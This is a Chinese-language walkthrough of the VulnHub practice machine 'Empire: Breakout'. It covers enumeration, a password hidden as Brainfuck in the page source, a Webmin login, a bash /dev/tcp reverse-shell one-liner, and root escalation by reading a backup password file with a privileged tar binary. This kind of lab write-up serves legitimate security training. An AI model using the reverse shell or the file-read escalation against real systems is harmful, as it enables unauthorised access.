0x00 环境准备
-
靶机下载
https://www.vulnhub.com/entry/empire-breakout,751/
-
启动方式
VMware 启动 -
版本信息
Name: Empire: Breakout
Date release: 21 Oct 2021
Author: icex64 & Empire Cybersecurity
Series: Empire -
靶机描述
Difficulty: EasyThis box was created to be an Easy box, but it can be Medium if you get lost.
For hints discord Server ( https://discord.gg/7asvAhCEhe )
这个靶机被创建作为一个简单的靶机,但是如果你迷路的话他会变为中等难度。
提示
0x01 信息收集
步骤一:靶机ip探测
步骤二:端口服务识别
80/tcp open http Apache httpd 2.4.51 ((Debian))
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
10000/tcp open http MiniServ 1.981 (Webmin httpd)
|_http-title: 200 — Document follows
20000/tcp open http MiniServ 1.830 (Webmin httpd)
|_http-title: 200 — Document follows
步骤三:后续测试收集到的账号密码
.2uqPEfj3D<P’a-3
cyber
0x02 漏洞挖掘
思路一:webmin系统历史漏洞测试
10000,20000 端口 可以测试webmin漏洞。
nmap 已经测出 版本号 直接搜索漏洞即可。
思路二:80 http 漏洞挖掘
(1)首页 漏洞挖掘,源码查看
(2)目录枚举,漏洞挖掘。
思路三:samba服务漏洞挖掘
爆破,弱口令。
步骤一:测试webmin漏洞
(1)搜索webmin漏洞准备复现
刚好自己之前 复现过,有记录笔记 跟着 复现试试
检测后发现 20000 端口 符合 CVE-2019-15107 和 CVE-2019-15642 漏洞影响版本
(2)CVE-2019-15107尝试(失败)
未检测出CVE-2019-15107漏洞
(3)CVE-2019-15642尝试(需要找登录密码)
- 该漏洞需要登录
root root
root password
root webmin
等常见密码尝试后 均登录失败
需要先从其他地方获取到可能为登录的密码
步骤二:80端口测试
一个apache默认页面
(1)版本
版本2.4.51较新 无可利用漏洞
(2)源码 + 目录枚举
-
在源码中 发现一处信息
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.
很明显是 brainfuck 加密的数据- 目录枚举
manual目录
(3)brainfuck解密
.2uqPEfj3D<P'a-3
步骤三:samba测试
(1)enum4linux 测试
enum4linux -a 192.168.157.170
发现一个用户 cyber
步骤四:再次20000端口webmin服务(成功)
cyber
.2uqPEfj3D<P'a-3
(1)登录
登录成功
(2) CVE-2019-15642测试(失败)
应该是 版本过低,我之前复现的是1.910版本成功了,可能是因为1.830版本太低,所以失败了。
(3)利用后台功能“command shell”执行终端命令
发现可以执行系统命令
步骤五:bash 反弹shell
bash -c 'exec bash -i &>/dev/tcp/192.168.157.137/8888 <&1'
反弹shell成功
步骤六:切换为完整的终端
切换完成
0x03 提权
步骤七:信息收集
(1)cat /etc/passwd
有用账号有 cyber 和root
步骤八:翻翻文件
(1)/home/cyber目录
有一个tar 可直接执行
(2)在/var目录发现一个backups目录
发现一个旧的密码文件,需要root权限才能执行。
因为tar命令为root权限 而 当前用户也可以执行 所以可以使用tar命令 先将文件压缩,再解压即可。
(3)tar命令压缩解压该文件
得到一串 数据
Ts&4&YurgtRX(=~h
步骤九:su root(成功)
因为是 root权限的 pass 命名的文件 所以可能是root的密码
Ts&4&YurgtRX(=~h
0x04 总结
该靶机难度比较简单,先从webmin入手,想到两个CVE,一个不需要登录,验证不存在,另一个需要登录。又先放下,去挖80端口,从源码中发现一个brainfuck加密的数据,解密后没发现其他利用点。又去看samba服务,收集到一个cyber用户,以此为账号密码登录webmin 成功,另一个CVE也验证失败,最后从web后台界面找到一个 可以执行 command shell 的地方 反弹shell成功。
提权 依靠 cyber用户下 存在一个 具有可执行的root权限的 tar命令,又找到一个root的密码备份文件,以发现的tar命令压缩备份文件(.tar),又以当前用户的tar命令解压(tar)出该文件,权限就变为cyber用户的权限,读取到密码,su root 提权成功。